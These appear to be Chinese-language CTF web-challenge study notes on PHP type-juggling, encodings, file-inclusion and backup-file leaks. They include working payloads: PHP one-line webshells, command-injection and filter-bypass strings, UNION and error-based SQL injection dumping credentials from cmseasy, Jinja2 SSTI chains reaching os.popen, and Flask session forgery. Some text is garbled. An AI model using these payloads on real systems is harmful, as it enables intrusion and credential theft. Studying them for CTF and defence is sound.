-
/^ 开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾
-
MD5代码可以构造数组来绕过,如:a[] & b[]
-
var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。如果是数组,就以数组的方式输出变量类型+变量。
-
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
-
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+!+[]]]+(+(!+[]+!+[]+!+[]+[!+[]+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])
以上的是JSFUCK编码, 直接用浏览器自带的开发者工具里的console(控制台)解码(将编码复制后回车)
-
”IP禁止访问,请联系本地管理员登录“,看到本地就想到X-Forwarded-For:,简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP。可以用来伪造本地登录。(在请求的最后一行加上)
-
%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61
以上的是escape编码,通过unescape得到代码。
-
看到文件在index(php文件)中,看到文件在index(php文件)中,构造URL,首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。这样就能读取文件源码并以base64的 方式输出。
例如:http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php
-
寻找备份文件的小知识:
-
备份文件一般情况是在后缀名后加的 * .swp,*.bak, *.swo
-
http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件
-
-
include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); $str = substr($str,1); $str = str_replace('key','',$str); //将key替换为空 parse_str($str); echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag";
整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过)然后对key1,key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag.
md5主要用数组绕过或哈希值为0E开头的字符串绕过,将key替换为空用kekeyy绕过。
-
网页编码是gb2312,想到宽字节注入
-
果然输入1%df’ 被转换成了1運
?id=1%bf’ and version()>0–+ 返回正确,则数据库可能为sqlserver和mysql;
?id=1%bf’ and length(user())>0 --+ 返回正确,说明存在user()函数,是mysql数据库;
输入?id=1%df’ order by 2 --+ 正常回显;
输入?id=1%df’ order by 3 --+ 显示Unknown column ‘3’ in ‘order clause’ 可得一共有两列;
输入?id=1%df’ union select database(),2 --+得知数据库名为sql5; -
可以利用输入验证码来防护暴力破解
-
32位哈希串基本上是md5编码
-
<!doctype html> <html> <head> <meta charset="utf-8"> <title> 一个简单的网页 </title> </head> <body> <h5> 输入user值和passwd值 </h5> <tr> <td>用户名</td> <form action="after.php" method="post"><input name="a" value=""/></form> </tr> <tr> <td>密码</td> <form action="after.php" method="post"><input name="b" value=""/><input type="submit" value="Submit" /></form> </tr> </body> </html> //可以简单的用来输入用户名密码再传给after.php
-
Robots协议,也就是爬虫排除标准,于是肯定有个robots.txt文件,可以通过构造URL直接访问。
-
\x35\x35\x2c\x35\x36\x2c
(重点)方法一:\x对应的是UTF-8编码的数据,通过转化规则可以转换为UTF-8编码,就能得到对应的汉字,转换规则很简单,将**\x换为%,再进行UTF-8解码,将得到的数字分别进行ascii处理**,可得到字符串。
方法二:\x对应的是十六进制,将**\x的十六进制转换成字符串**得到数字,然后进行ascii处理得字符串。
方法三:通过下面python代码执行操作。
-
function decode(str){ return str.replace(/\\x(\w{2})/g,function(_,$1){ return String.fromCharCode(parseInt($1,16)) }); }
可以用以上python代码来解码Javascript \x 反斜杠x 16进制编码
-
function encode(str){ return str.replace(/(\w)/g,function(_,$1){ return "\\x"+ $1.charCodeAt(0).toString(16) }); }
可以用以上python代码来编码Javascript \x 反斜杠x 16进制编码
-
**X-Forwarded-For:**命令可以用来修改访问者的ip
-
<?php @eval($_POST['shell']);?>
类似于以上的一句话php,用菜刀扫描。
-
ping命令
127.0.0.1 & find / -name “*.*” //可用来查找文件位置 127.0.0.1 | cat +文件路径 //可用来打开指定文件 127.0.0.1 | ls / //可用来查看某文件目录 127.0.0.1 | ls //可检测是否能够运行系统命令
-
($a==0 and $a),利用PHP弱类型的特点来满足条件。弱类型指PHP语言使用“==”时候,会将字符串转化成相同类型,再进行比较。数值和字符串比较时,会将字符串转换为数值。a=0+任意非数字字符。
-
弱比较,只要开头是0就行,而且后面不能全部为数字,那就带几个字母。
-
b的要求是不为数字或数字串,并且b>1234。可以使用%00截断,使b不为数字或者数字字符串。构造?b=1235%00。(构造b为一个大于1234的数后面加上一些字母。)
-
以后如果看到**%u**的编码,那就是escape函数
-
php内置filter协议读取文件的代码
?page=php://filter/read=convert.base64-encode/resource=文件名*.*
-
正常的php界面出错应该报 Apache 或者 nignx的错
-
Django是一个开放源代码的Web应用框架,由Python写成。
Django使用的是gbk编码,超过**%F7**的编码不在gbk中有意义,所以%80会报错;当 CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。
-
凯撒密码:将明文后移n位后组成的字符串。可能存在数字代替字母的情况。凯撒是没有密匙的,即使没有密匙也能将它破解出来,因为凯撒移位密码只有25种密匙,最多就是将这25种可能性挨个检测一下可以了,这就是我们所说的暴力破解法。也可在用软件破解。
-
文件上传时的输出语句:
一句话:<?php @eval($_POST['pass']);?>
<script language="PHP"> echo((file_get_contents('flag.'.'p'.'h'.'p'))); </script> 若对一句话中的内容有所屏蔽,使用上面的语句。搜索的是当前位置的flag.php <script language="PHP"> echo((file_get_contents('../flag.'.'p'.'h'.'p'))); </script> 该语句输出的是上一级目录中的flag.php
-
图片经过base加密的格式:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-czN2q0Ne-1679105973515)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20200201215504042.png)]
可以推测可能存在文件读取,尝试读取index.php的文件。
-
看见Created by PhpStorm,知道是用PhpStorm写的,这个软件写的时候会生成一个.idea的文件夹,它存储了项目的配置文件,一般还存在workspace.xml,可以打开.idea/workspace.xml查看
-
CMS系统存在cmseasy 无限制报错注入(可获取全站信息exp)漏洞。访问url/celive/live/header.php,直接进行报错注入
-
cmseasy报错注入通过post进行:1.暴库
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
2.拿表
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database() ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
3.爆数据详情(账号密码)
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
注:1,32表示读取数据的32位
-
表示异或运算,ab
-
网站的模板编辑存在文件读取的功能
-
拿到CMS搭的站,首先要确定网站用的时何种CMS,然后收集该CMS信息,比如出现过哪些漏洞;然后对漏洞进行利用
-
load file时,如果存在信息被屏蔽的情况,可以使用16进制来表示这个字符串。
-
SQL注入中select注入的一般步骤:1. 1 order by 1
**2.**1‘ union select x,x,x…
**3.**1’ union select x,database(),x…
**4.**1‘ union select x,table_name,x… from information_schema.tables where table_schema=database() limit 0,1# (0的位置指的是第n+1个表 )
**5.**1’ union select x,column_name,x… from information_schema.colunmns where table_name=… limit 0,1# (0的位置指的是第n+1个列 )
**6.**1‘ union select user,password,x… from column_name -
在有group by的查询语句中,select指定的字段要么就包含在group by语句的后面,作为分组的依据,要么就包含在聚合函数中。
group_concat()的功是将group by产生的同一个分组中的值连接起来,返回一个字符串结果。 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] ) -
当进行SQL注入时,可用bp爆破的方式测试过滤的符号:Positions中clear其他变量给admin(需要测量的地方)后面加上一个字符[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vAv9wcXp-1679105973516)(C:\Users\11373\Pictures\QQ图片20200203234019.png)],然后在Payloads中add需要测试的字符串或则符号
-
SQL注入过程时,绕过逗号过滤的方法:利用join来注入,case注入技巧也可绕过逗号,但是需要脚本,join更简单。
语法: id=1’ union select * from (select 1) a join (select 2) b%23 (1,2相当于回显的内容) -
文件上传过程中,如果对文件后缀php限制,可用pht或phtml替换即可。
-
使用菜刀时,如果连接网站url有一句话木马例如:eval($_POST[cmd]),url后方的框内要填和post后面一样的字符,例如cmd。
-
数据库的配置文件路径一般是**/data/common.inc.php**
-
.git泄露会产生泄露的脚本,可以通过githack脚本下载源文件。python githack.py url
查看上传的历史记录可以使用rip-git.pl下载后查看。git log * .;或者Git_Extract*来查看历史记录。python git_extract.py url -
下载好备份文件.swo后拖到kali桌面上用vim打开备份文件打开,vim -r .b4ckdo0r.php.swo
修复swp文件: root@kali:~/桌面# vim -r b4ckdo0r.php.swp -
网站一般的根目录是/var/www/html/或 /var/www/html/Challenges/
-
php长字符串表示方法:以<<<x开头,以x;结尾,结尾必须是单独一行,x名称自定
-
HTTP的请求方法有9种:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wSt9OjzU-1679105973517)(C:\Users\11373\Pictures\QQ图片20200206124040.png)]
-
apache搭建的网页根目录里通常有**.htaccess**配置文件 ,判断apache方法:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pNUtTP1L-1679105973517)(C:\Users\11373\Pictures\QQ图片20200206125203.png)]
-
修改请求IP时如果 X-Forwarded-For (XFF)行不通,可以用 client-ip: 代替
-
php opcode是编译原理的中间过程会产生的中间代码,翻译过程(反编译php opcodes)为:
1.观察获取关键信息(文件名),操作数2.解出php源码每行原内容
3.拼凑源码,提炼出跳转等操作
4.分析出最终源码
-
详细php opcodes反编译步骤:
一、反编译的第一步是读懂他的op栏中的所有op代表什么(因为php官网速度不怎么行在中国,所以可以先收集op资料再翻译)
注:基本上每个php opcodes都有EXT_STMT和RETURN两个op,可以暂时不用管,因为他们没有任何指向;
echo的op就是ECHO,后面operands跟代码段的输出字符串;
BEGIN_SILENCE的意思好像是索引变量的意思,和END_SILENCE相对应。没有实际解码翻译,可以不用管;
FETCH_R的意思就是变量指向变量的操作,这里的实例就是将变量!1指向给$2,让 2 相当于 2相当于 2相当于!1(也就是$$a);
FETCH_DIM_R是数组变量指向特定变量的作用,这里就是让 3 = 3= 3=a[0],operands的前面是数组变量名后面是位置值;
ASSIGN是分配变量的意思,前给后;
IS_EQUAL的意思是判断是否相等,是弱等于比较,return中是返回值储存位置,operands中的两个值分别为比较的左右;
JMPZ的意思是if操作,operands的左边对应的是if里面的步骤,右边是执行方法;
JMP的意思直接就是跳转,operands里面就是#步骤; NOP没有操作 。**二、**php opcodes各段的意思:
Branch analysis from position 这条信息多在分析数组时使用;
Return found 是否返回,这个基本上有都有;
filename 分析的文件名;
function name 函数名,针对每个函数VLD都会生成一段如上的独立的信息,这里显示当前函数的名称;
number of ops 生成的操作数;
compiled vars 编译期间的变量,这些变量是在PHP5后添加的,它是一个缓存优化。这样的变量在PHP源码中以IS_CV标记;
op list 生成的中间代码的变量列表;
line: 在源码中的行号#: opcode 编号(每个php的php opcodes从0开始记录操作不揍)
op: 操作名称
fetch: 该操作的变量位置(全局或则本地)
ext: 与该opcode关联的额外数据,如跳转的目标opcode
return: 返回值存储的问题
operands:操作
-
addslashes()处理(单引号,反斜杠等前面都会被加上反斜杠而转义,防御sql注入), addslashes()处理后(addslashes()会在NULL前加 \ ,0等于NULL)
-
发现vim字样,判断可能是文件泄露
-
题目中提示存在缓存文件或者隐藏文件,可以利用**.git**漏洞下载文件和历史文件。
-
一个变量的值为数字但不包含1-9数字,可以使用16进制来绕过。
-
Django的报错页面一般会有[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-050tjycZ-1679105973517)(C:\Users\11373\Pictures\QQ图片20200208214100.png)]
-
addslashes转义,作用是将字符’”都进行转义。
-
cat 命令可以用来查看文件内容。可以在url中使用。
-
6 6 6代表的是SHA512加密,rounds=50代表循环50次加密,但正确的用法是 6 6 6rounds=50 s a l t salt salthash例如: 6 6 6rounds=50$GXsDmPqqFQ29t7v2T9elBjX0pY5qVBBeL2uE9EkHcygQJAkAfAkTNotqRIFLBWiA4mRSrndjJ8pJvYajrdjK// 这个不是代表50次循环无盐值 而是PHP把rounds=50这段字符串当成了盐值并用默认的循环次数5000次进行加密
-
针对pytho模板注入漏洞,注入步骤是:
1 读版本文件:?name={{ ‘’. class.mro[2].subclasses()40.read() }};
2 向SSTI漏洞注入:{{ ‘’.__ class__.mro[2].subclasses()40.write(‘from subprocess import check_output\n\nRUNCMD = check_output\n’) }} (这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD。);
3 向config对象添加一个新项:?name={{ config.from_pyfile(‘/tmp/owned.cfg’) }} ;
4 通过向SSTI漏洞注入来检测是否成功:?name={{ config’RUNCMD’ }}
5 小括号单引号中的内容即为我们可以使用cmd执行的代码,将其改为ls或者ls -al,如果呗拦截可以用base64加密再解密进行注入。例如: ?name={{ config[‘RUNCMD’](‘`echo bHMK | base64 -d`’,shell=True) }} (bHMK为lsbase64加密) -
有注册有登录功能,一般就是session包含的套路,但是在phpinfo中我们看到的是开启了open_basedir,这种情况下及时我们有session文件的权限,也没有办法跨目录包含。可以脑洞到题目代码中带有session.save_path的设置,所有用action.php去include phpinfo试一试
-
session包含一般是包含/var/lib/php5/sessions 。
-
kindeditor漏洞是在特定情况下可能会导致全盘浏览的漏洞,默认配置(第16行):
$root_path = $php_path . ‘…/attached/’;
当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子:
$root_path = $php_path . ‘…/…/…/upload/’;
这个CMS下面的目录根本就没得这个目录,所以就造成了漏洞。
所以 :通过访问url/kindeditor/php/file_manager_json.php 即可看到目录,再通过?path=来访问文件夹及文件。 -
SQL注入可以根据报错信息可以判断是insert注入还是select注入![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-60izdx2h-1679105973518)(C:\Users\11373\Pictures\QQ图片20200211213212.png)]
select注入报错信息中是**不会存在()**的,所以上面的属于insert注入
-
SQL注入中insert注入的一般步骤:1 insert注入出用户:insert into member(username,pw,sex,phonenum,email,address) values(‘wangwu’or updatexml(1,concat(0x7e,(users())),0) or’',md5(‘a’),‘a’,‘aa’,‘a’,‘a’)
2 payload语句:xx’or updatexml(1,concat(0x7e,(命令)),0) or’ ('用来闭合,比较重要)
3 爆表名:将命令改为select table_name from information_schema.tables where table_schema=‘xx’ limit 0,1
4 爆列名:select column_name from information_schema.columns where table_name=‘xx’ limit 0,1
5 爆内容:selecct xx(username) from xx(tablename) limit 0,1 -
如果数据爆出时长度被限制,应当使用subsrt()函数来显示后面的内容。规定用在想现实的数据上
-
php对post过来的文件有一个默认处理流程,即在一个处理周期内(post,response),首先将post过来的文件保存在**/tmp文件夹下,文件名为php{0-9A-Za-z}的随机字符,如果文件被php文件本身用到了,则php直接使用/tmp里的这个临时文件**,如果没用到或者处理完毕了,则将/tmp下的这个临时文件删除。tmp目录下的这个文件存活周期是一次请求到响应,响应过后,它就会被删除。可以使用自包含的方法打断php对临时文件的处理。
如何不让它被删除掉呢?删除和处理请求的都是php,所以我们要让php守护进程产生内存溢出,换言之,使之崩溃,而php自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了web服务的正常运转的同时,打断了php对临时文件的处理。
自包含恰巧可以做到这一点,什么是自包含呢?即: /X.php?include=X.php ;这样X.php就会将它本身包含进来,而被包含进来的X.php再次尝试处理url的包含请求时,又将自己包含进来一遍,这就形成了无穷递归,递归会导致爆栈,使php无法进行此次请求的后续处理,也就是无法删除/tmp目录中我们通过post上传的临时文件。 -
执行ping命令时如果空格被屏蔽,可以用下面任一字符串代替。
$IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09
-
当程序中访问的变量是局部变量x时,需要将其改为全局变量。?x=GLOBALS
-
当出现要求访问者是admin的提示后,可能存在session伪造问题。
-
观察session伪造产生的cookie信息,如果cookie是xx.xx.xx,可能是flask的cookie,即base64.密钥,要想进行session伪造必须有相应的密钥才行,而flask通常有ssti和session伪造的漏洞,可以通过ssti得到密钥secret_key。在url中输入**?{{xx}},如果xx可以被执行并回显,例如{{‘2’*2}},回显为4,说明{{}}内的xx被执行,存在ssti漏洞**,可以上传执行代码。
而**{{config}}**环境变量里有secret_key,可以通过该命令拿到密钥。利用脚本进行session伪造即可。 -
SSTI(服务器模板注入):SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。可使用python沙盒绕过(沙盒逃逸):
1、config
{{config}}可以获取当前设置,如果题目类似app.config [‘FLAG’] = os.environ.pop(‘FLAG’),那可以直接访问{{config[‘FLAG’]}}或者{{config.FLAG}}得到flag;
2、self
{{self}} ⇒ <TemplateReference None>
{{self.__dict__.__TemplateReference__context.config}} ⇒ 同样可以找到config
3、“”、[]、()等数据结构
主要目的是配合__class__.mro__[2]这样找到object类
{{[].__class__.__base__.__subclasses__()[68].__init__.globals__[‘os’].__dict.environ[‘FLAG’]}}
4、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。详细:https://www.cnblogs.com/20175211lyz/p/11425368.htmlPHP反序列化*
反序列化本质是将序列化的字符串还原成对应的类实例,在该过程中,我们可控的是序列化字符串的内容,也就是对应类中变量的值。我们无法直接调用类中的函数,但PHP在满足一定的条件下,会自动触发一些函数的调用,该类函数,我们称为魔术方法。通过可控的类变量,触发自动调用的魔术方法,以及魔术方法中存在的可利用点,进而形成反序列化漏洞的利用。
-
各情况下序列化对象的区别:
public变量:直接变量名反序列化出来
protected变量:\x00 + * + \x00 + 变量名
private变量:\x00 + 类名 + \x00 + 变量名 -
序列的含义:例如:O:4:“user”:2:{s:3:“age”;i:18;s:4:“name”;s:3:“LEO”;}
O代表对象;4代表对象名长度;2代表2个成员变量;其余参照如下类型 结构
String s:size:value;
Integer i:value;
Boolean b:value;(保存1或0) ->布尔型
Null N; -
反序列化利用:1.__wakeup失效
php版本< 5.6.25 | < 7.0.10
当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行
例:O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}
O:4:“Demo”:2:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}2.使用**+绕过正则
例:preg_match(‘/[oc]:\d+:/i’, $var)
O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}
O:+4**:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;} -
部分魔术方法及触发条件:__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发 -
Session序列化问题:PHP内置了多种处理器用于存储$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
处理器 对应的存储格式
php 键名 + 竖线 + 经过serialize()函数反序列化处理的值
php_binary 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数反序列处理的数组
-
php session的存储位置一般在/tmp下;自己的位置可在phpinfo中看到。
-
php存储session的三种方式:
php_serialize 经过serialize()函数序列化数组
php 键名+竖线+经过serialize()函数处理的值
php_binary 键名的长度对应的ascii字符+键名+serialize()函数序列化的值 -
shell_exec()—通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
-
过滤了;和|可以用%0a绕过,过滤了空格可以用%09绕过,过滤了flag可以用?绕过。
-
sort命令: Linux sort命令用于将文本文件内容加以排序。
sort可针对文本文件的内容,以行为单位来排序。 -
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。 -
对于^开头,$结尾的正则,如果用.进行任意字符匹配可以用%0a换行符绕过。
-
flask的session伪造解密方法
python flask_session_cookie_manager3.py encode -s "woshicaiji" -t "{'username': b'admin'}" (python3)
-
在url输入XX=1时出现回显,可能是flask的session伪造或者模板注入,如果题目需要用户是特定身份,则是session伪造,不需要则是模板注入。
输入name=1发现存在回显,猜测为模板注入,经过测试发现过滤了 . _ 和一些关键字
py2模板注入常见payload
().class.bases[0].subclasses()40.read()
().class.bases[0].subclasses()[59].init.func_globals.values()[13][‘eval’](‘import(“os”).popen(“ls /”).read()’ )
‘’.class.mro[-1].subclasses()[59].init.globals[‘builtins’][‘eval’](‘import(“os”).popen(“ls /”).read()’ )
过滤了.可以用getattr或者attr绕过
例如 ‘’.__class__可以写成 getattr(‘’,“class”)或者 ‘’|attr(“class”)
过滤了_可以用dir(0)[0][0]或者request[‘args’]或者 request[‘values’]绕过
因为还过滤了 args所以我们用request[‘values’]和attr结合绕过
例如’'.__class__写成 ‘’|attr(request[‘values’][‘x1’]),然后post传入x1=class -
对于 a c t ( act( act(arg,‘’); 我们很容易想到create_function函数语法。
-
部分函数功能:localeconv() 获取 ‘.’
current() pos() :返回当前数组值
next() 获取下一个数组的值
end() 获取最后一个数组的值
array_rand() 返回随机的数字键值
arrat_flip() 数组的键名和键值交换
scandir()返回指定目录中的文件和文件夹
array_reverse() 数组逆序